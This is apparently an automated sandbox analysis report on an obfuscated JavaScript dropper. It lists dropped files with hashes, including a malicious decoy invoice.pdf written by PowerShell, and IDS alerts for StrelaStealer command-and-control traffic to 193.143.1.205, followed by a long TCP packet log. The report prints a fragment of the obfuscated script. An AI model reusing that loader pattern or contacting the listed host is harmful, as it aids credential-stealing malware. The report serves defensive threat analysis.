Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	gzip compressed data, from FAT filesystem (MS-DOS, OS/2, NT), original size modulo 2^32 5111142
Category:	dropped
Size (bytes):	1419751
Entropy (8bit):	7.976496077007677
Encrypted:	false
SSDEEP:	24576:/xA7owWLaGZDwYIGNPJodpy6mlind9j2kvhsfFXpAXDgrFBU2/R07D:JVwWLaGZDwZGk3mlind9i4ufFXpAXkru
MD5:	18E3D04537AF72FDBEB3760B2D10C80E
SHA1:	B313CD0B25E41E5CF0DFB83B33AB3E3C7678D5CC
SHA-256:	BBEF113A2057EE7EAC911DC960D36D4A62C262DAE5B1379257908228243BD6F4
SHA-512:	2A5B9B0A5DC98151AD2346055DF2F7BFDE62F6069A4A6A9AB3377B644D61AE31609B9FC73BEE4A0E929F84BF30DA4C1CDE628915AC37C7542FD170D12DE41298
Malicious:	false
Preview:	...........[.s.8..}.....!#..gw.n.`uNl.f6.3....d%EK.D["...#.......!)...r.$.G.......Z..u.._>.~....^e..<..u..........._D.r.Z..M.:...$.I..N.....\`.B.wj...:...E\|.P..$ni.{.....T.^~<m-..J....RQk....f.....q.......V.rC.M.b.DiL\.....wq....$&j....O.........~.U.+..So.]..n..#OJ..p./..-......<...5..WB.O....i....<./T.P.L.;.....h.ik..DT...<...j..o..fz~..~."...w&.fB...4..@[.g.......Y.>/M.".....-..N.{.2.....\....h..ER..._..(.-..o97..[.t:..>..W..0.....u...?.%...1u..fg..`.Z.....m ~.GKG.q{.vU.nr..W.%.W..#z..l.T......1.....}.6......D.O...:....PX.........R.....j.WD).M..9.Fw...W.-a..z.l\..u.^....L..^.`.T...l.^.B.DMc.d....i...o.\|M.uF\|.nQ.L.E,.b!..NG.....<...J......g.o....;&5..'a.M...l..1.V.iB2.T._I....".+.W.yA ._.......<.O......O$."C....n!H.L`..q.....5..~./.._t.......A....S..3........Q[..+..e..P;...O...x~<B........'.)...n.$e.m.:...m.....&..Y.".H.s....5.9..A5)....s&.k0,.g4.V.K.,.e....5...X.}6.P....y\.s\|..Si..BB..y...~.....D^g...7'T-.5.!K.$\...2.

C:\Users\user\AppData\Local\Temp\invoice.pdf

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	PDF document, version 1.7
Category:	dropped
Size (bytes):	635764
Entropy (8bit):	7.929592005409041
Encrypted:	false
SSDEEP:	12288:+ZLfaHa9wphzjERQ/JTckor+EURE+AwAX75pfGJKsKca+e7lEjYQ:+ZyjgQRRor+lRJAwAXlpoKgQ76jYQ
MD5:	91A2AF9E2A61ABF7D9977999FBF9879E
SHA1:	F6E4FA02DD15B27F74553FB1B220A4D2DF385267
SHA-256:	FC3518D746CDB3738DA976551795B9727619F41F89AC0641533126E2F69B969A
SHA-512:	8B27CC0E0E902ABB59735FF4FC67789C0F0F9A1BF3F619A7AFAEAAA13A9AFCF9C82F25596719A65EC15221EBAE16EF9701CDB48F372BBF1BE08CB568DBE41D7C
Malicious:	true
Preview:	%PDF-1.7.%.....1 0 obj.<< /Pages 3 0 R /Type /Catalog >>.endobj.2 0 obj.<< /Type /ObjStm /Length 56 /Filter /FlateDecode /N 1 /First 4 >>.stream.x.3V0.Q.w./.+Q0T...L)V.V0Q0P.R.U...,HU..HLO-V.....%0.mendstream.endobj.4 0 obj.<< /Contents 5 0 R /Group << /CS /DeviceRGB /I true /S /Transparency /Type /Group >> /MediaBox [ 0 0 594.96 840.96 ] /Parent 3 0 R /Resources 6 0 R /StructParents 0 /Type /Page >>.endobj.5 0 obj.<< /Filter /FlateDecode /Length 75 >>.stream.x.3T0.B]C aab.gi....U.e...E........\ E..&@yC.:.l.B.W.B!P9D..~...K>W ...&...endstream.endobj.6 0 obj.<< /ExtGState << /a0 << /CA 1 /ca 1 >> >> /XObject << /x7 7 0 R >> >>.endobj.7 0 obj.<< /BBox [ 0 0 595 841 ] /Filter /FlateDecode /Resources 8 0 R /Subtype /Form /Type /XObject /Length 59 >>.stream.x.+..T(..O/6PH/.*.2.4.4S0.B]......H...O..S.04Tp....B.....endstream.endobj.8 0 obj.<< /ExtGState << /a0 << /CA 1 /ca 1 >> /gs0 << /BM /Normal /CA 1.0 /SMask /None /ca 1.0 >> >> /XObject << /x11 9 0 R >> >>.endobj.9 0 obj.<< /BitsPerCo

C:\Windows\ServiceProfiles\LocalService\AppData\Local\FontCache\Fonts\Download-1.tmp

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	55
Entropy (8bit):	4.306461250274409
Encrypted:	false
SSDEEP:	3:YDQRWu83XfAw2fHbY:YMRl83Xt2f7Y
MD5:	DCA83F08D448911A14C22EBCACC5AD57
SHA1:	91270525521B7FE0D986DB19747F47D34B6318AD
SHA-256:	2B4B2D4A06044AD0BD2AE3287CFCBECD90B959FEB2F503AC258D7C0A235D6FE9
SHA-512:	96F3A02DC4AE302A30A376FC7082002065C7A35ECB74573DE66254EFD701E8FD9E9D867A2C8ABEB4C482738291B715D4965A0D2412663FDF1EE6CBC0BA9FBACA
Malicious:	false
Preview:	{"fontSetUri":"fontset-2017-04.json","baseUri":"fonts"}

Static File Info

General

File type:	ASCII text, with very long lines (18171), with CRLF line terminators
Entropy (8bit):	4.912240636113325
TrID:
File name:	47411761265155214.js
File size:	21'824 bytes
MD5:	c4f57f07e3d5042e79c0d071c05479d8
SHA1:	fe30c0c1816b9a87dddd378c05400df673379047
SHA256:	1b0861c477409e2fd92ab81e7e34e72e0bcd4ed8cb1b141a63481d52aaf80c6f
SHA512:	c4fb5dc868f61b641f1601949e674a2c88a39cfd65372441654157bde0782619eca5c46905b0c95e07d476b1db23fd0906a3263eb4b047e28fd4c787bff2b12e
SSDEEP:	192:FqcXE9SAnvss9zsSlvPiwGOzaf0Jtg8+JPT3CI1cPBtAGa8MNNaFP64O11yy7wF/:4cXZwFaf0Jtg8Ir4bAG7muzFFtZ
TLSH:	52A2978821295C6ADFC843F81A6BE2EF3EC4E2DD4D3CF9946416B50895459D3A3F49F0
File Content Preview:	function tscbsnx(){rfglvatjt=[1031,3079,5127,4103,2055,3072];var wfpfcbzn=this[agdmaoo+cboidyzlm+qhagosdms+khyxnuv+mnlxwcim+ehwcjjdul+ykozqupnc+oegnygku](this[wcyhazd+somdxopjb+lzmjugn+qhagosdms+fhaqvwy+agdmaoo+oegnygku][gdemysd+qhagosdms+mnlxwcim+cboidyz

File Icon


Icon Hash:	68d69b8bb6aa9a86

Network Behavior

Suricata IDS Alerts

Timestamp	SID	Signature	Severity	Source IP	Source Port	Dest IP	Dest Port	Protocol
2025-01-11T03:32:09.851920+0100	1810000	Joe Security ANOMALY Windows PowerShell HTTP activity	2	192.168.2.5	49704	193.143.1.205	80	TCP
2025-01-11T03:32:09.851920+0100	2859560	ETPRO MALWARE StrelaStealer CnC Activity - Requesting Decoy Payload (GET)	1	192.168.2.5	49704	193.143.1.205	80	TCP
2025-01-11T03:32:12.286493+0100	1810005	Joe Security ANOMALY Microsoft Office WebDAV Discovery	1	192.168.2.5	49705	193.143.1.205	8888	TCP

Network Port Distribution

TCP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Jan 11, 2025 03:32:09.049618006 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 03:32:09.054775953 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 03:32:09.055238008 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 03:32:09.058270931 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 03:32:09.063167095 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 03:32:09.851758003 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 03:32:09.851785898 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 03:32:09.851798058 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 03:32:09.851919889 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 03:32:09.857131004 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 03:32:09.857144117 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 03:32:09.857156992 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 03:32:09.857168913 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 03:32:09.857177973 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 03:32:09.857189894 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 03:32:09.857203007 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 03:32:09.857219934 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 03:32:09.857254028 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 03:32:09.862070084 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 03:32:09.862091064 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 03:32:09.862154961 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 03:32:09.898094893 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 03:32:09.898130894 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 03:32:09.898142099 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 03:32:09.898190975 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 03:32:09.973392010 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 03:32:09.973419905 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 03:32:09.973437071 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 03:32:09.973608017 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 03:32:09.973613977 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 03:32:09.973645926 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 03:32:09.973654032 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 03:32:09.973680973 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 03:32:09.974107027 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 03:32:09.974117994 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 03:32:09.974150896 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 03:32:09.974323034 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 03:32:09.974334955 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 03:32:09.974348068 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 03:32:09.974373102 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 03:32:09.974421978 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 03:32:09.974457026 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 03:32:09.975032091 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 03:32:09.975045919 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 03:32:09.975058079 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 03:32:09.975079060 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 03:32:09.975121975 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 03:32:09.975132942 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 03:32:09.975163937 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 03:32:09.976007938 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 03:32:09.976021051 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 03:32:09.976032972 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 03:32:09.976057053 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 03:32:09.976073027 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 03:32:09.976083040 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 03:32:09.988682985 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 03:32:09.988718987 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 03:32:09.988732100 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 03:32:09.988780975 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 03:32:09.988810062 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 03:32:10.019745111 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 03:32:10.019759893 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 03:32:10.019905090 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 03:32:10.063858986 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 03:32:10.063874960 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 03:32:10.063973904 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 03:32:10.094887018 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 03:32:10.094908953 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 03:32:10.095020056 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 03:32:10.095136881 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 03:32:10.095150948 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 03:32:10.095163107 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 03:32:10.095175028 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 03:32:10.095225096 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 03:32:10.095388889 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 03:32:10.095465899 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 03:32:10.095477104 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 03:32:10.095503092 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 03:32:10.095577002 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 03:32:10.095592976 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 03:32:10.095618963 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 03:32:10.096086979 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 03:32:10.096098900 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 03:32:10.096122026 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 03:32:10.096143961 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 03:32:10.096159935 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 03:32:10.096177101 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 03:32:10.096477032 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 03:32:10.096527100 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 03:32:10.096539021 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 03:32:10.096563101 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 03:32:10.096585035 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 03:32:10.096679926 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 03:32:10.096692085 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 03:32:10.096735001 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 03:32:10.096842051 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 03:32:10.096853971 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 03:32:10.096889973 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 03:32:10.097400904 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 03:32:10.097479105 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 03:32:10.097491026 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 03:32:10.097528934 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 03:32:10.097598076 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 03:32:10.097609043 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 03:32:10.097621918 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 03:32:10.097645044 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 03:32:10.097661018 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 03:32:10.097764969 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 03:32:10.098337889 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 03:32:10.098376989 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 03:32:10.098392963 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 03:32:10.098406076 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 03:32:10.098438025 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 03:32:10.098567009 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 03:32:10.098578930 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 03:32:10.098620892 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 03:32:10.098622084 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 03:32:10.098633051 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 03:32:10.099369049 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 03:32:10.099380016 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 03:32:10.099391937 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 03:32:10.099406958 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 03:32:10.099435091 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 03:32:10.099471092 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 03:32:10.099489927 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 03:32:10.099502087 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 03:32:10.099508047 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 03:32:10.099514961 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 03:32:10.099535942 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 03:32:10.100184917 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 03:32:10.104090929 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 03:32:10.154411077 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 03:32:10.154442072 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 03:32:10.154453993 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 03:32:10.154546022 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 03:32:10.154558897 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 03:32:10.154567003 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 03:32:10.154633045 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 03:32:10.185691118 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 03:32:10.188132048 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 03:32:10.216752052 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 03:32:10.216794968 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 03:32:10.216810942 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 03:32:10.216859102 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 03:32:10.216873884 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 03:32:10.216893911 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 03:32:10.216943979 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 03:32:10.216962099 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 03:32:10.216974974 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 03:32:10.217015982 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 03:32:10.217015982 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 03:32:10.217056990 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 03:32:10.217139006 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 03:32:10.217154026 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 03:32:10.217190981 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 03:32:10.217231989 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 03:32:10.217247963 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 03:32:10.217262030 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 03:32:10.217277050 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 03:32:10.217286110 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 03:32:10.217324018 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 03:32:10.217602968 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 03:32:10.217617989 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 03:32:10.217645884 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 03:32:10.217653990 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 03:32:10.217685938 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 03:32:10.217726946 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 03:32:10.217787981 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 03:32:10.217844963 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 03:32:10.217859030 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 03:32:10.217896938 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 03:32:10.217966080 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 03:32:10.218031883 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 03:32:10.218048096 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 03:32:10.218063116 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 03:32:10.218069077 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 03:32:10.218084097 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 03:32:10.218215942 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 03:32:10.218252897 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 03:32:10.218300104 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 03:32:10.218322039 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 03:32:10.218712091 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 03:32:10.218729973 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 03:32:10.218755007 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 03:32:10.218758106 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 03:32:10.218780041 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 03:32:10.218838930 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 03:32:10.218858004 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 03:32:10.218874931 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 03:32:10.218892097 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 03:32:10.218893051 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 03:32:10.218919039 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 03:32:10.219043970 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 03:32:10.219063044 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 03:32:10.219079971 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 03:32:10.219099998 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 03:32:10.219099998 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 03:32:10.219127893 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 03:32:10.219491959 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 03:32:10.219546080 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 03:32:10.219563007 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 03:32:10.219584942 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 03:32:10.219604969 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 03:32:10.219733953 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 03:32:10.219750881 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 03:32:10.219769955 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 03:32:10.219788074 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 03:32:10.219791889 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 03:32:10.219834089 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 03:32:10.219916105 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 03:32:10.219999075 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 03:32:10.220016003 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 03:32:10.220033884 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 03:32:10.220051050 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 03:32:10.220076084 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 03:32:10.220470905 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 03:32:10.220489979 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 03:32:10.220508099 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 03:32:10.220530033 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 03:32:10.220593929 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 03:32:10.220662117 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 03:32:10.220679998 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 03:32:10.220698118 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 03:32:10.220704079 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 03:32:10.220731020 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 03:32:10.220875025 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 03:32:10.220892906 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 03:32:10.220911980 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 03:32:10.220916986 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 03:32:10.220942974 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 03:32:10.221029043 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 03:32:10.221312046 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 03:32:10.221349955 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 03:32:10.221359015 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 03:32:10.221369028 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 03:32:10.221411943 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 03:32:10.221501112 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 03:32:10.221518993 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 03:32:10.221538067 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 03:32:10.221575022 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 03:32:10.221683025 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 03:32:10.221702099 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 03:32:10.221739054 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 03:32:10.222807884 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 03:32:10.226785898 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 03:32:10.244854927 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 03:32:10.244903088 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 03:32:10.244920969 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 03:32:10.244931936 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 03:32:10.244960070 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 03:32:10.245012999 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 03:32:10.245029926 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 03:32:10.245049000 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 03:32:10.245069981 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 03:32:10.245157003 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 03:32:10.245174885 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 03:32:10.245193005 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 03:32:10.245193958 CET	80	49704	193.143.1.205	192.168.2.5
